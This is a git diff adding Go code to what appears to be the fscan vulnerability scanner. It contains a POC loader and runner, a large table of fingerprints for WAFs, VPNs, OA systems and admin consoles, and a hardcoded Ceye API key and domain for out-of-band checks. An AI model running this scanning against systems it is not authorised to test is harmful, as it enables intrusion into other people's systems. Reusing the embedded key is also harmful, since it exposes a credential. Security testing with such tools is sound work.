+ } + + // 执行POC检测 + lib.CheckMultiPoc(req, matchedPocs, common.PocNum) +} + +// createBaseRequest 创建带上下文的HTTP请求 +func createBaseRequest(ctx context.Context, target string) (*http.Request, error) { + req, err := http.NewRequestWithContext(ctx, "GET", target, nil) + if err != nil { + return nil, err + } + + // 设置请求头 + req.Header.Set("User-agent", common.UserAgent) + req.Header.Set("Accept", common.Accept) + req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") + if common.Cookie != "" { + req.Header.Set("Cookie", common.Cookie) + } + + return req, nil +} + +// initPocs 初始化并加载POC +func initPocs() { + // 预分配容量避免频繁扩容,典型POC数量在100-500之间 + allPocs = make([]*lib.Poc, 0, 256) + + if common.PocPath == "" { + loadEmbeddedPocs() + } else { + loadExternalPocs(common.PocPath) + } +} + +// loadEmbeddedPocs 加载内置POC +func loadEmbeddedPocs() { + entries, err := pocsFS.ReadDir("pocs") + if err != nil { + common.LogError(fmt.Sprintf("加载内置POC目录失败: %v", err)) + return + } + + // 收集所有POC文件 + var pocFiles []string + for _, entry := range entries { + if isPocFile(entry.Name()) { + pocFiles = append(pocFiles, entry.Name()) + } + } + + // 并发加载POC文件 + loadPocsConcurrently(pocFiles, true, "") +} + +// loadExternalPocs 从外部路径加载POC +func loadExternalPocs(pocPath string) { + if !directoryExists(pocPath) { + common.LogError(fmt.Sprintf("POC目录不存在: %s", pocPath)) + return + } + + // 收集所有POC文件路径 + var pocFiles []string + err := filepath.Walk(pocPath, func(path string, info os.FileInfo, err error) error { + if err != nil || info == nil || info.IsDir() { + return nil + } + + if isPocFile(info.Name()) { + pocFiles = append(pocFiles, path) + } + return nil + }) + + if err != nil { + common.LogError(fmt.Sprintf("遍历POC目录失败: %v", err)) + return + } + + // 并发加载POC文件 + loadPocsConcurrently(pocFiles, false, pocPath) +} + +// loadPocsConcurrently 并发加载POC文件 +func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) { + pocCount := len(pocFiles) + if pocCount == 0 { + return + } + + var wg sync.WaitGroup + var mu sync.Mutex + var successCount, failCount int + + // 使用信号量控制并发数 + semaphore := make(chan struct{}, concurrencyLimit) + + for _, file := range pocFiles { + wg.Add(1) + semaphore <- struct{}{} // 获取信号量 + + go func(filename string) { + defer func() { + <-semaphore // 释放信号量 + wg.Done() + }() + + var poc *lib.Poc + var err error + + // 根据不同的来源加载POC + if isEmbedded { + poc, err = lib.LoadPoc(filename, pocsFS) + } else { + poc, err = lib.LoadPocbyPath(filename) + } + + mu.Lock() + defer mu.Unlock() + + if err != nil { + failCount++ + return + } + + if poc != nil { + allPocs = append(allPocs, poc) + successCount++ + } + }(file) + } + + wg.Wait() + common.LogBase(fmt.Sprintf("POC加载完成: 总共%d个,成功%d个,失败%d个", + pocCount, successCount, failCount)) +} + +// directoryExists 检查目录是否存在 +func directoryExists(path string) bool { + info, err := os.Stat(path) + return err == nil && info.IsDir() +} + +// isPocFile 检查文件是否为POC文件 +func isPocFile(filename string) bool { + lowerName := strings.ToLower(filename) + return strings.HasSuffix(lowerName, yamlExt) || strings.HasSuffix(lowerName, ymlExt) +} + +// filterPocs 根据POC名称筛选 +func filterPocs(pocName string) []*lib.Poc { + if pocName == "" { + return allPocs + } + + // 转换为小写以进行不区分大小写的匹配 + searchName := strings.ToLower(pocName) + + var matchedPocs []*lib.Poc + for _, poc := range allPocs { + if poc != nil && strings.Contains(strings.ToLower(poc.Name), searchName) { + matchedPocs = append(matchedPocs, poc) + } + } + + return matchedPocs +} diff --git a/webscan/info/Rules.go b/webscan/info/Rules.go new file mode 100644 index 0000000..e7184db --- /dev/null +++ b/webscan/info/Rules.go @@ -0,0 +1,314 @@ +package info + +type RuleData struct { + Name string + Type string + Rule string +} + +type Md5Data struct { + Name string + Md5Str string +} + +type PocData struct { + Name string + Alias string +} + +var RuleDatas = []RuleData{ + {"宝塔", "code", "(app.bt.cn/static/app.png|安全入口校验失败|入口校验失败|href=\"http://www.bt.cn/bbs)"}, + {"深信服防火墙类产品", "code", "(SANGFOR FW)"}, + {"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"}, + {"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"}, + {"绿盟防火墙", "code", "(NSFOCUS NF)"}, + {"绿盟防火墙", "headers", "(NSFocus)"}, + {"Topsec-Waf", "index", `(",")`}, + {"Anquanbao", "headers", "(Anquanbao)"}, + {"BaiduYunjiasu", "headers", "(yunjiasu)"}, + {"BigIP", "headers", "(BigIP|BIGipServer)"}, + {"BinarySEC", "headers", "(binarysec)"}, + {"BlockDoS", "headers", "(BlockDos.net)"}, + {"CloudFlare", "headers", "(cloudflare)"}, + {"Cloudfront", "headers", "(cloudfront)"}, + {"Comodo", "headers", "(Protected by COMODO)"}, + {"IBM-DataPower", "headers", "(X-Backside-Transport)"}, + {"DenyAll", "headers", "(sessioncookie=)"}, + {"dotDefender", "headers", "(dotDefender)"}, + {"Incapsula", "headers", "(X-CDN|Incapsula)"}, + {"Jiasule", "headers", "(jsluid=)"}, + {"KONA", "headers", "(AkamaiGHost)"}, + {"ModSecurity", "headers", "(Mod_Security|NOYB)"}, + {"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"}, + {"Newdefend", "headers", "(newdefend)"}, + {"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"}, + {"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"}, + {"Safedog", "headers", "(Safedog|WAF/2.0)"}, + {"SonicWALL", "headers", "(SonicWALL)"}, + {"Stingray", "headers", "(X-Mapping-)"}, + {"Sucuri", "headers", "(Sucuri/Cloudproxy)"}, + {"Usp-Sec", "headers", "(Secure Entry Server)"}, + {"Varnish", "headers", "(varnish)"}, + {"Wallarm", "headers", "(wallarm)"}, + {"阿里云", "code", "(errors.aliyun.com)"}, + {"WebKnight", "headers", "(WebKnight)"}, + {"Yundun", "headers", "(YUNDUN)"}, + {"Yunsuo", "headers", "(yunsuo)"}, + {"Coding pages", "header", "(Coding Pages)"}, + {"启明防火墙", "code", "(/cgi-bin/webui?op=get_product_model)"}, + {"Shiro", "headers", "(=deleteMe|rememberMe=)"}, + {"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"}, + {"Gogs简易Git服务", "cookie", "(i_like_gogs)"}, + {"Gitea简易Git服务", "cookie", "(i_like_gitea)"}, + {"Nexus", "code", "(Nexus Repository Manager)"}, + {"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"}, + {"Harbor", "code", "(Harbor)"}, + {"Harbor", "cookie", "(harbor-lang)"}, + {"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"}, + {"禅道", "cookie", "(zentaosid)"}, + {"协众OA", "code", "(Powered by 协众OA)"}, + {"协众OA", "cookie", "(CNOAOASESSID)"}, + {"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"}, + {"atmail-WebMail", "cookie", "(atmail6)"}, + {"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"}, + {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1)"}, + {"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"}, + {"discuz", "code", "(content=\"Discuz! X\")"}, + {"Typecho", "code", "(Typecho)"}, + {"金蝶EAS", "code", "(easSessionId)"}, + {"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"}, + {"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"}, + {"H3C-AM8000", "code", "(AM8000)"}, + {"360企业版", "code", "(360EntWebAdminMD5Secret)"}, + {"H3C公司产品", "code", "(service@h3c.com)"}, + {"H3C ICG 1000", "code", "(ICG 1000系统管理)"}, + {"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"}, + {"H3C ER5100", "code", "(ER5100系统管理)"}, + {"阿里云CDN", "code", "(cdn.aliyuncs.com)"}, + {"CISCO_EPC3925", "code", "(Docsis_system)"}, + {"CISCO ASR", "code", "(CISCO ASR)"}, + {"H3C ER3200", "code", "(ER3200系统管理)"}, + {"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"}, + {"Spark_Master", "code", "(Spark Master at)"}, + {"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"}, + {"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"}, + {"深信服ssl-vpn", "code", "(login_psw.csp)"}, + {"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"}, + {"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"}, + {"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"}, + {"360主机卫士", "headers", "(zhuji.360.cn)"}, + {"Nagios", "headers", "(Nagios Access)"}, + {"H3C ER8300", "code", "(ER8300系统管理)"}, + {"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"}, + {"华为 MCU", "code", "(McuR5-min.js)"}, + {"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"}, + {"泛微OA", "headers", "(ecology_JSessionid)"}, + {"泛微OA", "code", "(/spa/portal/public/index.js)"}, + {"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"}, + {"360网站卫士", "code", "(360wzb)"}, + {"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"}, + {"H3C ER2100V2", "code", "(ER2100V2系统管理)"}, + {"zabbix", "cookie", "(zbx_sessionid)"}, + {"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"}, + {"CISCO_VPN", "headers", "(webvpn)"}, + {"360站长平台", "code", "(360-site-verification)"}, + {"H3C ER3108GW", "code", "(ER3108GW系统管理)"}, + {"o2security_vpn", "headers", "(client_param=install_active)"}, + {"H3C ER3260G2", "code", "(ER3260G2系统管理)"}, + {"H3C ICG1000", "code", "(ICG1000系统管理)"}, + {"CISCO-CX20", "code", "(CISCO-CX20)"}, + {"H3C ER5200", "code", "(ER5200系统管理)"}, + {"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"}, + {"360网站卫士常用前端公共库", "code", "(libs.useso.com)"}, + {"H3C ER3100", "code", "(ER3100系统管理)"}, + {"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"}, + {"360webfacil_360WebManager", "code", "(publico/template/)"}, + {"Citrix_Netscaler", "code", "(ns_af)"}, + {"H3C ER6300G2", "code", "(ER6300G2系统管理)"}, + {"H3C ER3260", "code", "(ER3260系统管理)"}, + {"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"}, + {"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"}, + {"Spark_Worker", "code", "(Spark Worker at)"}, + {"H3C ER3108G", "code", "(ER3108G系统管理)"}, + {"Citrix-ConfProxy", "code", "(confproxy)"}, + {"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"}, + {"H3C ER5200G2", "code", "(ER5200G2系统管理)"}, + {"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"}, + {"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"}, + {"H3C ER6300", "code", "(ER6300系统管理)"}, + {"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"}, + {"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"}, + {"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"}, + {"H3C ER2100", "code", "(ER2100系统管理)"}, + {"jira", "code", "(jira.webresources)"}, + {"金和协同管理平台", "code", "(金和协同管理平台)"}, + {"Citrix-NetScaler", "code", "(NS-CACHE)"}, + {"linksys-vpn", "headers", "(linksys-vpn)"}, + {"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"}, + {"华为(HUAWEI)Secoway设备", "code", "(Secoway)"}, + {"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"}, + {"H3C ER2100n", "code", "(ER2100n系统管理)"}, + {"H3C ER8300G2", "code", "(ER8300G2系统管理)"}, + {"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"}, + {"Jboss", "code", "(Welcome to JBoss|jboss.css)"}, + {"Jboss", "headers", "(JBoss)"}, + {"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"}, + {"泛微E-mobile", "headers", "(EMobileServer)"}, + {"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"}, + {"ThinkPHP", "headers", "(ThinkPHP)"}, + {"ThinkPHP", "code", "(/Public/static/js/)"}, + {"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"}, + {"Laravel", "headers", "(laravel_session)"}, + {"DWR", "code", "(dwr/engine.js)"}, + {"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"}, + {"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"}, + {"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"}, + {"Jenkins", "code", "(Jenkins)"}, + {"红帆OA", "code", "(iOffice)"}, + {"VMware vSphere", "code", "(VMware vSphere)"}, + {"打印机", "code", "(打印机|media/canon.gif)"}, + {"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"}, + {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"}, + {"GitLab", "code", "(href=\"https://about.gitlab.com/)"}, + {"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"}, + {"Hadoop Applications", "code", "(/cluster/app/application)"}, + {"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"}, + {"帆软报表", "code", "(WebReport/login.html|ReportServer)"}, + {"帆软报表", "headers", "(数据决策系统)"}, + {"华夏ERP", "headers", "(华夏ERP)"}, + {"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"}, + {"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"}, + {"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"}, + {"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"}, + {"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"}, + {"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"}, + {"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"}, + {"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"}, + {"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"}, + {"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"}, + {"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"}, + {"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"}, + {"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"}, + {"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"}, + {"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"}, + {"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"}, + {"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"}, + {"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"}, + {"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"}, + {"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"}, + {"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"}, + {"APACHE-kylin", "code", "(url=kylin)"}, + {"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"}, + {"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"}, + {"Jellyfin", "code", "(content=\"http://jellyfin.org\")"}, + {"FIT2CLOUD-JumpServer-堡垒机", "code", "(JumpServer)"}, + {"Alibaba Nacos", "code", "(Nacos)"}, + {"Nagios", "headers", "(nagios admin)"}, + {"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"}, + {"h5ai", "code", "(powered by h5ai)"}, + {"jeesite", "cookie", "(jeesite.session.id)"}, + {"拓尔思SSO", "cookie", "(trsidsssosessionid)"}, + {"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"}, + {"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"}, + {"天融信网络审计系统", "code", "(onclick=dlg_download())"}, + {"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"}, + {"URP教务系统", "code", "(北京清元优软科技有限公司)"}, + {"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"}, + {"正方OA", "code", "(zfoausername)"}, + {"希尔OA", "code", "(/heeroa/login.do)"}, + {"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"}, + {"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"}, + {"海天OA", "code", "(HTVOS.js)"}, + {"信达OA", "code", "(http://www.xdoa.cn)"}, + {"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"}, + {"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"}, + {"winwebmail", "code", "(WinWebMail Server|images/owin.css)"}, + {"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"}, + {"天融信防火墙", "code", "(/cgi/maincgi.cgi)"}, + {"网神防火墙", "code", "(css/lsec/login.css)"}, + {"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"}, + {"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"}, + {"Huawei SMC", "code", "(Script/SmcScript.js?version=)"}, + {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"}, + {"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"}, + {"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"}, + {"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"}, + {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1|Error 404--Not Found|Welcome to Weblogic Application Server|Oracle WebLogic Server 管理控制台)"}, + {"weblogic", "headers", "(WebLogic)"}, + {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"}, + {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"}, + {"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"}, + {"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"}, + {"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"}, + {"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"}, + {"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"}, + {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"}, + {"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"}, + {"用友IUFO", "code", "(iufo/web/css/menu.css)"}, + {"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"}, + {"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, + {"CMS", "code", "(Powered by .*CMS)"}, + {"目录遍历", "code", "(Directory listing for /)"}, + {"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"}, + {"ATLASSIAN-Confluence", "headers", "(X-Confluence)"}, + {"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"}, + {"Kubernetes", "code", "(Kubernetes Dashboard|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"}, + {"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress)"}, + {"RabbitMQ", "code", "(RabbitMQ Management)"}, + {"dubbo", "headers", "(Basic realm=\"dubbo\")"}, + {"Spring env", "code", "(logback)"}, + {"ueditor", "code", "(ueditor.all.js|UE.getEditor)"}, + {"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"}, +} + +var Md5Datas = []Md5Data{ + {"BIG-IP", "04d9541338e525258daf47cc844d59f3"}, + {"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"}, + {"JBOSS", "799f70b71314a7508326d1d2f68f7519"}, + {"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"}, + {"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"}, + {"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"}, + {"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"}, + {"致远OA", "cdc85452665e7708caed3009ecb7d4e2"}, + {"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"}, + {"致远OA", "57f307ad3764553df84e7b14b7a85432"}, + {"致远OA", "3c8df395ec2cbd72782286d18a286a9a"}, + {"致远OA", "2f761c27b6b7f9386bbd61403635dc42"}, + {"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"}, + {"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"}, + {"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"}, + {"通达OA", "ed0044587917c76d08573577c8b72883"}, + {"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"}, + {"泛微OA", "c27547e27e1d2c7514545cd8d5988946"}, + {"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"}, + {"泛微OA", "281348dd57383c1f214ffb8aed3a1210"}, + {"GitLab", "85c754581e1d4b628be5b7712c042224"}, + {"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"}, + {"华夏erp", "c68b15c45cf80115a943772f7d0028a6"}, + {"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"}, + {"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"}, + {"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"}, + {"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"}, + {"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"}, + {"activemq", "05664fb0c7afcd6436179437e31f3aa6"}, + {"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"}, +} + +var PocDatas = []PocData{ + {"致远OA", "seeyon"}, + {"泛微OA", "weaver"}, + {"通达OA", "tongda"}, + {"蓝凌OA", "landray"}, + {"ThinkPHP", "thinkphp"}, + {"Nexus", "nexus"}, + {"齐治堡垒机", "qizhi"}, + {"weaver-ebridge", "weaver-ebridge"}, + {"weblogic", "weblogic"}, + {"zabbix", "zabbix"}, + {"VMware vSphere", "vmware"}, + {"Jboss", "jboss"}, + {"用友", "yongyou"}, + {"用友IUFO", "yongyou"}, + {"coremail", "coremail"}, + {"金山", "kingsoft"}, +} diff --git a/webscan/lib/Check.go b/webscan/lib/Check.go new file mode 100644 index 0000000..2a1a22e --- /dev/null +++ b/webscan/lib/Check.go @@ -0,0 +1,905 @@ +package lib + +import ( + "crypto/md5" + "fmt" + "github.com/google/cel-go/cel" + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/output" + "github.com/shadow1ng/fscan/webscan/info" + "math/rand" + "net/http" + "net/url" + "regexp" + "strings" + "sync" + "time" +) + +// API配置常量 +const ( + ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥 + ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名 +) + +// Task 定义单个POC检测任务的结构体 +type Task struct { + Req *http.Request // HTTP请求对象 + Poc *Poc // POC检测脚本 +} + +// VulnResult 漏洞结果结构体 +type VulnResult struct { + Poc *Poc // POC脚本 + VulName string // 漏洞名称 + Target string // 目标URL + Details map[string]interface{} // 详细信息 +} + +// CheckMultiPoc 并发执行多个POC检测 +// 参数说明: +// - req: HTTP请求对象 +// - pocs: POC检测脚本列表 +// - workers: 并发工作协程数量 +func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { + // 确保至少有一个工作协程 + if workers <= 0 { + workers = 1 + } + + // 创建任务通道,缓冲区大小为POC列表长度 + tasks := make(chan Task, len(pocs)) + var wg sync.WaitGroup + + // 启动指定数量的工作协程池 + for i := 0; i < workers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + // 从任务通道循环获取任务 + for task := range tasks { + // 执行POC检测,返回是否存在漏洞、错误信息和漏洞名称 + isVulnerable, err, vulName := executePoc(task.Req, task.Poc) + + // 处理执行过程中的错误 + if err != nil { + common.LogError(fmt.Sprintf("执行POC错误 %s: %v", task.Poc.Name, err)) + continue + } + + // 仅当通过普通POC规则(非clusterpoc)检测到漏洞时,才创建结果 + // 因为clusterpoc已在内部处理了漏洞输出 + if isVulnerable && vulName != "" { + // 构造漏洞详细信息 + details := make(map[string]interface{}) + details["vulnerability_type"] = task.Poc.Name + details["vulnerability_name"] = vulName + + // 添加作者信息(如果有) + if task.Poc.Detail.Author != "" { + details["author"] = task.Poc.Detail.Author + } + + // 添加参考链接(如果有) + if len(task.Poc.Detail.Links) != 0 { + details["references"] = task.Poc.Detail.Links + } + + // 添加漏洞描述(如果有) + if task.Poc.Detail.Description != "" { + details["description"] = task.Poc.Detail.Description + } + + // 创建并保存扫描结果 + result := &output.ScanResult{ + Time: time.Now(), + Type: output.TypeVuln, + Target: task.Req.URL.String(), + Status: "vulnerable", + Details: details, + } + common.SaveResult(result) + + // 构造控制台输出的日志信息 + logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:", + task.Req.URL, + task.Poc.Name, + vulName) + + // 添加作者信息到日志 + if task.Poc.Detail.Author != "" { + logMsg += "\n\t作者:" + task.Poc.Detail.Author + } + + // 添加参考链接到日志 + if len(task.Poc.Detail.Links) != 0 { + logMsg += "\n\t参考链接:" + strings.Join(task.Poc.Detail.Links, "\n") + } + + // 添加描述信息到日志 + if task.Poc.Detail.Description != "" { + logMsg += "\n\t描述:" + task.Poc.Detail.Description + } + + // 输出成功日志 + common.LogSuccess(logMsg) + } + } + }() + } + + // 分发所有POC任务到通道 + for _, poc := range pocs { + tasks <- Task{ + Req: req, + Poc: poc, + } + } + + // 关闭任务通道 + close(tasks) + + // 等待所有POC检测任务完成 + wg.Wait() +} + +// createVulnDetails 创建漏洞详情信息 +func createVulnDetails(poc *Poc, vulName string) map[string]interface{} { + details := make(map[string]interface{}) + details["vulnerability_type"] = poc.Name + details["vulnerability_name"] = vulName + + // 添加作者信息(如果有) + if poc.Detail.Author != "" { + details["author"] = poc.Detail.Author + } + + // 添加参考链接(如果有) + if len(poc.Detail.Links) != 0 { + details["references"] = poc.Detail.Links + } + + // 添加漏洞描述(如果有) + if poc.Detail.Description != "" { + details["description"] = poc.Detail.Description + } + + return details +} + +// buildLogMessage 构建漏洞日志消息 +func buildLogMessage(result *VulnResult) string { + logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:", + result.Target, + result.Poc.Name, + result.VulName) + + // 添加作者信息到日志 + if result.Poc.Detail.Author != "" { + logMsg += "\n\t作者:" + result.Poc.Detail.Author + } + + // 添加参考链接到日志 + if len(result.Poc.Detail.Links) != 0 { + logMsg += "\n\t参考链接:" + strings.Join(result.Poc.Detail.Links, "\n") + } + + // 添加描述信息到日志 + if result.Poc.Detail.Description != "" { + logMsg += "\n\t描述:" + result.Poc.Detail.Description + } + + return logMsg +} + +// executePoc 执行单个POC检测 +func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { + // 初始化环境配置 + config := NewEnvOption() + config.UpdateCompileOptions(p.Set) + + // 处理额外的设置项 + if len(p.Sets) > 0 { + var setMap StrMap + for _, item := range p.Sets { + value := "" + if len(item.Value) > 0 { + value = item.Value[0] + } + setMap = append(setMap, StrItem{item.Key, value}) + } + config.UpdateCompileOptions(setMap) + } + + // 创建执行环境 + env, err := NewEnv(&config) + if err != nil { + return false, fmt.Errorf("执行环境错误 %s: %v", p.Name, err), "" + } + + // 解析请求 + req, err := ParseRequest(oReq) + if err != nil { + return false, fmt.Errorf("请求解析错误 %s: %v", p.Name, err), "" + } + + // 初始化变量映射 + variableMap := make(map[string]interface{}) + defer func() { variableMap = nil }() + 